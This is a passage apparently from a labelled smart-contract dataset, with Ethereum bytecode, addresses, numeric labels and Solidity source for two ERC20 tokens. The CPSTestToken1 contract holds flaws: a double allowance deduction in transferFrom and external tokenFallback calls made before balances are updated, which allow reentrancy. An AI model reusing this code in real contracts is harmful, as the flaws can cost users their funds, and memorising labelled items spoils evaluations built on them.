505050565b600080600061241a613055565b91509150612431818361243890919063ffffffff16565b9250505090565b600061247a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506132e6565b905092915050565b600080828401905083811015612500576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008060008060008060008060006125278a600b54600c546133ac565b925092509250600061253761240d565b9050600080600061254a8e878787613468565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125b483836040518060400160405280601f81526020017f536166654d6174683a20737562747372616374696f6e206f766572666c6f770081525061234d565b905092915050565b6125e3836125d58660085461257290919063ffffffff16565b61257290919063ffffffff16565b6008819055506125fe8260095461248290919063ffffffff16565b60098190555061261981600a5461248290919063ffffffff16565b600a819055506126348160065461257290919063ffffffff16565b600681905550600754600654116126575761012c600b819055506000600c819055505b50505050565b600061266761240d565b905060008060008060008061267b8861250a565b955095509550955095509550600061269c88836134f190919063ffffffff16565b90506126f089600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257290919063ffffffff16565b600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061278587600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257290919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061281a86600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248290919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612869858285856125bc565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35050505050505050505050565b60006128e561240d565b90506000806000806000806128f98861250a565b955095509550955095509550600061291a88836134f190919063ffffffff16565b905061296e87600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257290919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a0384600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248290919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a9886600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248290919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ae7858285856125bc565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35050505050505050505050565b6000612b6361240d565b9050600080600080600080612b778861250a565b9550955095509550955095506000612b9888836134f190919063ffffffff16565b9050612bec87600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257290919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c8186600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248290919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cd0858285856125bc565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35050505050505050505050565b6000612d4c61240d565b9050600080600080600080612d608861250a565b9550955095509550955095506000612d8188836134f190919063ffffffff16565b9050612dd589600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257290919063ffffffff16565b600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e6a87600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257290919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612eff84600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248290919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f9486600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248290919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fe3858285856125bc565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35050505050505050505050565b600080600060085490506000600654905060005b6005805490508110156132a95782600160006005848154811061308857fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061316f575081600260006005848154811061310757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561318657600854600654945094505050506132e2565b61320f600160006005848154811061319a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461257290919063ffffffff16565b925061329a600260006005848154811061322557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361257290919063ffffffff16565b91508080600101915050613069565b506132c160065460085461243890919063ffffffff16565b8210156132d9576008546006549350935050506132e2565b81819350935050505b9091565b60008083118290613392576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561335757808201518184015260208101905061333c565b50505050905090810190601f1680156133845780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161339e57fe5b049050809150509392505050565b6000806000806133eb60646133dd60646133cf8a8c6134f190919063ffffffff16565b61243890919063ffffffff16565b61243890919063ffffffff16565b90506000613428606461341a606461340c8a8d6134f190919063ffffffff16565b61243890919063ffffffff16565b61243890919063ffffffff16565b9050600061345182613443858c61257290919063ffffffff16565b61257290919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061348185896134f190919063ffffffff16565b9050600061349886896134f190919063ffffffff16565b905060006134af87896134f190919063ffffffff16565b905060006134d8826134ca858761257290919063ffffffff16565b61257290919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156135045760009050613571565b600082840290508284828161351557fe5b041461356c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806136326021913960400191505060405180910390fd5b809150505b9291505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573734275726e20616d6f756e74206d7573742062652067726561746572207468616e207a65726f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737357652063616e206e6f74206578636c75646520556e697377617020726f757465722e4578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212207adf48b308fdc7434524677341df28ddc74165d975e2a5f7827c7ff3bbaf920264736f6c634300060c0033
[ 38 ]
0xf239fab41de78533fa974b74d7605f1e68f8772e
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } interface ERC20 { function name() public view returns (string); function symbol() public view returns (string); function decimals() public view returns (uint8); function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } interface ERC223 { function transfer(address to, uint value, bytes data) payable public; event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); } contract ERC223ReceivingContract { function tokenFallback(address _from, uint _value, bytes _data) public; } contract ERCAddressFrozenFund is ERC20{ using SafeMath for uint; struct LockedWallet { address owner; // the owner of the locked wallet, he/she must secure the private key uint256 amount; // uint256 start; // timestamp when "lock" function is executed uint256 duration; // duration period in seconds. if we want to lock an amount for uint256 release; // release = start+duration // "start" and "duration" is for bookkeeping purpose only. Only "release" will be actually checked once unlock function is called } address public owner; uint256 _lockedSupply; mapping (address => LockedWallet) addressFrozenFund; //address -> (deadline, amount),freeze fund of an address its so that no token can be transferred out until deadline function mintToken(address _owner, uint256 amount) internal; function burnToken(address _owner, uint256 amount) internal; event LockBalance(address indexed addressOwner, uint256 releasetime, uint256 amount); event LockSubBalance(address indexed addressOwner, uint256 index, uint256 releasetime, uint256 amount); event UnlockBalance(address indexed addressOwner, uint256 releasetime, uint256 amount); event UnlockSubBalance(address indexed addressOwner, uint256 index, uint256 releasetime, uint256 amount); function lockedSupply() public view returns (uint256) { return _lockedSupply; } function releaseTimeOf(address _owner) public view returns (uint256 releaseTime) { return addressFrozenFund[_owner].release; } function lockedBalanceOf(address _owner) public view returns (uint256 lockedBalance) { return addressFrozenFund[_owner].amount; } function lockBalance(uint256 duration, uint256 amount) public{ address _owner = msg.sender; require(address(0) != _owner && amount > 0 && duration > 0 && balanceOf(_owner) >= amount); require(addressFrozenFund[_owner].release <= now && addressFrozenFund[_owner].amount == 0); addressFrozenFund[_owner].start = now; addressFrozenFund[_owner].duration = duration; addressFrozenFund[_owner].release = addressFrozenFund[_owner].start + duration; addressFrozenFund[_owner].amount = amount; burnToken(_owner, amount); _lockedSupply = SafeMath.add(_lockedSupply, lockedBalanceOf(_owner)); LockBalance(_owner, addressFrozenFund[_owner].release, amount); } //_owner must call this function explicitly to release locked balance in a locked wallet function releaseLockedBalance() public { address _owner = msg.sender; require(address(0) != _owner && lockedBalanceOf(_owner) > 0 && releaseTimeOf(_owner) <= now); mintToken(_owner, lockedBalanceOf(_owner)); _lockedSupply = SafeMath.sub(_lockedSupply, lockedBalanceOf(_owner)); UnlockBalance(_owner, addressFrozenFund[_owner].release, lockedBalanceOf(_owner)); delete addressFrozenFund[_owner]; } } contract CPSTestToken1 is ERC223, ERCAddressFrozenFund { using SafeMath for uint; string internal _name; string internal _symbol; uint8 internal _decimals; uint256 internal _totalSupply; address public fundsWallet; // Where should the raised ETH go? uint256 internal fundsWalletChanged; mapping (address => uint256) internal balances; mapping (address => mapping (address => uint256)) internal allowed; function CPSTestToken1() public { _symbol = 'CPS'; _name = 'CPSCoin'; _decimals = 8; _totalSupply = 100000000000000000; balances[msg.sender] = _totalSupply; fundsWallet = msg.sender; owner = msg.sender; fundsWalletChanged = 0; } function changeFundsWallet(address newOwner) public{ require(msg.sender == fundsWallet && fundsWalletChanged == 0); balances[newOwner] = balances[fundsWallet]; balances[fundsWallet] = 0; fundsWallet = newOwner; fundsWalletChanged = 1; } function name() public view returns (string) { return _name; } function symbol() public view returns (string) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function mintToken(address _owner, uint256 amount) internal { balances[_owner] = SafeMath.add(balances[_owner], amount); } function burnToken(address _owner, uint256 amount) internal { balances[_owner] = SafeMath.sub(balances[_owner], amount); } function() payable public { require(msg.sender == address(0));//disable ICO crowd sale 禁止ICO资金募集,因为本合约已经过了募集阶段 } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); if(isContract(_to)) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); bytes memory _data = new bytes(1); receiver.tokenFallback(msg.sender, _value, _data); } balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); balances[_to] = SafeMath.add(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); if(_from == fundsWallet){ require(_value <= balances[_from]); } if(isContract(_to)) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); bytes memory _data = new bytes(1); receiver.tokenFallback(msg.sender, _value, _data); } balances[_from] = SafeMath.sub(balances[_from], _value); balances[_to] = SafeMath.add(balances[_to], _value); allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value); allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = SafeMath.add(allowed[msg.sender][_spender], _addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function transfer(address _to, uint _value, bytes _data) public payable { require(_value > 0 ); if(isContract(_to)) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value, _data); } function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } function transferMultiple(address[] _tos, uint256[] _values, uint count) payable public returns (bool) { uint256 total = 0; uint256 total_prev = 0; uint i = 0; for(i=0;i<count;i++){ require(_tos[i] != address(0) && !isContract(_tos[i]));//_tos must no contain any contract address if(isContract(_tos[i])) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_tos[i]); bytes memory _data = new bytes(1); receiver.tokenFallback(msg.sender, _values[i], _data); } total_prev = total; total = SafeMath.add(total, _values[i]); require(total >= total_prev); } require(total <= balances[msg.sender]); for(i=0;i<count;i++){ balances[msg.sender] = SafeMath.sub(balances[msg.sender], _values[i]); balances[_tos[i]] = SafeMath.add(balances[_tos[i]], _values[i]); Transfer(msg.sender, _tos[i], _values[i]); } return true; } }
0x6060604052600436106101035763ffffffff60e060020a60003504166306fdde038114610119578063095ea7b3146101a357806318160ddd146101d9578063191723ed146101fe5780632194f3a21461021757806323b872dd14610246578063286c241a1461026e578063313ce5671461028d578063323661f6146102b657806359355736146102c957806366188463146102e857806370a082311461030a5780637d6f0d5f146103295780638da5cb5b1461034857806395d89b411461035b578063a201ed8b1461036e578063a9059cbb146103f4578063be45fd6214610416578063ca5c7b9114610470578063d73dd62314610483578063dd62ed3e146104a5575b33600160a060020a03161561011757600080fd5b005b341561012457600080fd5b61012c6104ca565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610168578082015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101ae57600080fd5b6101c5600160a060020a0360043516602435610572565b604051901515815260200160405180910390f35b34156101e457600080fd5b6101ec6105de565b60405190815260200160405180910390f35b341561020957600080fd5b6101176004356024356105e4565b341561022257600080fd5b61022a61072c565b604051600160a060020a03909116815260200160405180910390f35b341561025157600080fd5b6101c5600160a060020a036004358116906024351660443561073b565b341561027957600080fd5b6101ec600160a060020a0360043516610a3c565b341561029857600080fd5b6102a0610a5a565b60405160ff909116815260200160405180910390f35b34156102c157600080fd5b610117610a63565b34156102d457600080fd5b6101ec600160a060020a0360043516610b78565b34156102f357600080fd5b6101c5600160a060020a0360043516602435610b96565b341561031557600080fd5b6101ec600160a060020a0360043516610c8a565b341561033457600080fd5b610117600160a060020a0360043516610ca5565b341561035357600080fd5b61022a610d2a565b341561036657600080fd5b61012c610d39565b6101c56004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496505093359350610dac92505050565b34156103ff57600080fd5b6101c5600160a060020a0360043516602435611137565b61011760048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061134995505050505050565b341561047b57600080fd5b6101ec61156c565b341561048e57600080fd5b6101c5600160a060020a0360043516602435611572565b34156104b057600080fd5b6101ec600160a060020a0360043581169060243516611610565b6104d26116d1565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105685780601f1061053d57610100808354040283529160200191610568565b820191906000526020600020905b81548152906001019060200180831161054b57829003601f168201915b5050505050905090565b600160a060020a033381166000818152600a6020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60065490565b33600160a060020a038116158015906105fd5750600082115b80156106095750600083115b801561061d57508161061a82610c8a565b10155b151561062857600080fd5b600160a060020a03811660009081526002602052604090206004015442901180159061066d5750600160a060020a038116600090815260026020526040902060010154155b151561067857600080fd5b600160a060020a0381166000908152600260208190526040909120429181018290556003810185905590840160048201556001018290556106b9818361163b565b6106cd6001546106c883610b78565b61167e565b600155600160a060020a03811660008181526002602052604090819020600401547f4a5ed3c7d7f33c8c80b3444f04527e6d3bee954c19dac37176e4aa1a86ce87289185905191825260208201526040908101905180910390a2505050565b600754600160a060020a031681565b6000806107466116d1565b600160a060020a038516151561075b57600080fd5b600160a060020a03861660009081526009602052604090205484111561078057600080fd5b600160a060020a038087166000908152600a6020908152604080832033909416835292905220548411156107b357600080fd5b600754600160a060020a03878116911614156107ee57600160a060020a0386166000908152600960205260409020548411156107ee57600080fd5b6107f785611694565b1561090657849150600160405180591061080e5750595b818152601f19601f83011681016020016040529050905081600160a060020a031663c0ee0b8a3386846040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156108a457808201518382015260200161088c565b50505050905090810190601f1680156108d15780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15156108f157600080fd5b6102c65a03f1151561090257600080fd5b5050505b600160a060020a038616600090815260096020526040902054610929908561169c565b600160a060020a038088166000908152600960205260408082209390935590871681522054610958908561167e565b600160a060020a038087166000908152600960209081526040808320949094558983168252600a815283822033909316825291909152205461099a908561169c565b600160a060020a038781166000908152600a60209081526040808320339094168352929052208190556109cd908561169c565b600160a060020a038088166000818152600a6020908152604080832033861684529091529081902093909355908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9087905190815260200160405180910390a350600195945050505050565b600160a060020a031660009081526002602052604090206004015490565b60055460ff1690565b33600160a060020a03811615801590610a8457506000610a8282610b78565b115b8015610a98575042610a9582610a3c565b11155b1515610aa357600080fd5b610ab581610ab083610b78565b6116ae565b610ac9600154610ac483610b78565b61169c565b600155600160a060020a0381166000818152600260205260409020600401547ff2a470701c29165d36d10c35e36dac1dc397594484071f35785a55c8589be0fa90610b1384610b78565b60405191825260208201526040908101905180910390a2600160a060020a031660009081526002602081905260408220805473ffffffffffffffffffffffffffffffffffffffff19168155600181018390559081018290556003810182905560040155565b600160a060020a031660009081526002602052604090206001015490565b600160a060020a033381166000908152600a6020908152604080832093861683529290529081205480831115610bf357600160a060020a033381166000908152600a60209081526040808320938816835292905290812055610c24565b610bfd818461169c565b600160a060020a033381166000908152600a60209081526040808320938916835292905220555b600160a060020a033381166000818152600a602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526009602052604090205490565b60075433600160a060020a039081169116148015610cc35750600854155b1515610cce57600080fd5b60078054600160a060020a0390811660009081526009602052604080822054948316808352818320959095558354909216815290812055805473ffffffffffffffffffffffffffffffffffffffff191690911790556001600855565b600054600160a060020a031681565b610d416116d1565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105685780601f1061053d57610100808354040283529160200191610568565b6000806000806000610dbc6116d1565b600094508493508392505b86831015610fa8576000898481518110610ddd57fe5b90602001906020020151600160a060020a031614158015610e195750610e17898481518110610e0857fe5b90602001906020020151611694565b155b1515610e2457600080fd5b610e33898481518110610e0857fe5b15610f6c57888381518110610e4457fe5b9060200190602002015191506001604051805910610e5f5750595b818152601f19601f83011681016020016040529050905081600160a060020a031663c0ee0b8a338a8681518110610e9257fe5b90602001906020020151846040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610f0a578082015183820152602001610ef2565b50505050905090810190601f168015610f375780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515610f5757600080fd5b6102c65a03f11515610f6857600080fd5b5050505b849350610f8e85898581518110610f7f57fe5b9060200190602002015161167e565b945083851015610f9d57600080fd5b600190920191610dc7565b600160a060020a033316600090815260096020526040902054851115610fcd57600080fd5b600092505b8683101561112857600160a060020a0333166000908152600960205260409020546110129089858151811061100357fe5b9060200190602002015161169c565b600160a060020a033316600090815260096020819052604082209290925561107891908b868151811061104157fe5b90602001906020020151600160a060020a0316600160a060020a0316815260200190815260200160002054898581518110610f7f57fe5b600960008b868151811061108857fe5b90602001906020020151600160a060020a031681526020810191909152604001600020558883815181106110b857fe5b90602001906020020151600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8a868151811061110257fe5b9060200190602002015160405190815260200160405180910390a3600190920191610fd2565b50600198975050505050505050565b6000806111426116d1565b600160a060020a038516151561115757600080fd5b600160a060020a03331660009081526009602052604090205484111561117c57600080fd5b61118585611694565b1561129457849150600160405180591061119c5750595b818152601f19601f83011681016020016040529050905081600160a060020a031663c0ee0b8a3386846040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561123257808201518382015260200161121a565b50505050905090810190601f16801561125f5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561127f57600080fd5b6102c65a03f1151561129057600080fd5b5050505b600160a060020a0333166000908152600960205260409020546112b7908561169c565b600160a060020a0333811660009081526009602052604080822093909355908716815220546112e6908561167e565b600160a060020a0380871660008181526009602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9087905190815260200160405180910390a3506001949350505050565b600080831161135757600080fd5b61136084611694565b15611448575082600160a060020a03811663c0ee0b8a3385856040518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156113e65780820151838201526020016113ce565b50505050905090810190601f1680156114135780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561143357600080fd5b6102c65a03f1151561144457600080fd5b5050505b600160a060020a033316600090815260096020526040902054611471908463ffffffff61169c16565b600160a060020a0333811660009081526009602052604080822093909355908616815220546114a6908463ffffffff61167e16565b600160a060020a03851660009081526009602052604090819020919091558290518082805190602001908083835b602083106114f35780518252601f1990920191602091820191016114d4565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a450505050565b60015490565b600160a060020a033381166000908152600a602090815260408083209386168352929052908120546115a4908361167e565b600160a060020a033381166000818152600a602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a039182166000908152600a6020908152604080832093909416825291909152205490565b600160a060020a03821660009081526009602052604090205461165e908261169c565b600160a060020a0390921660009081526009602052604090209190915550565b60008282018381101561168d57fe5b9392505050565b6000903b1190565b6000828211156116a857fe5b50900390565b600160a060020a03821660009081526009602052604090205461165e908261167e565b602060405190810160405260008152905600a165627a7a72305820daae87d28e53b696a2a4ba50387ace15ac4e56b3cdfb2ea3497d32a23b333f3b0029
[ 1, 7, 2 ]
0xf23a054976a9a291a3a7697dd9ddbd300392c096
pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract BVB is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "BvB"; symbol = "BvB"; decimals = 18; _totalSupply = 5 * 10 ** 25; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806395d89b411161008c578063b5931f7c11610066578063b5931f7c1461044b578063d05c78da14610497578063dd62ed3e146104e3578063e6cb90131461055b576100ea565b806395d89b4114610316578063a293d1e814610399578063a9059cbb146103e5576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c5780633eaaf86b146102a057806370a08231146102be576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610645565b604051808215151515815260200191505060405180910390f35b6101e0610737565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001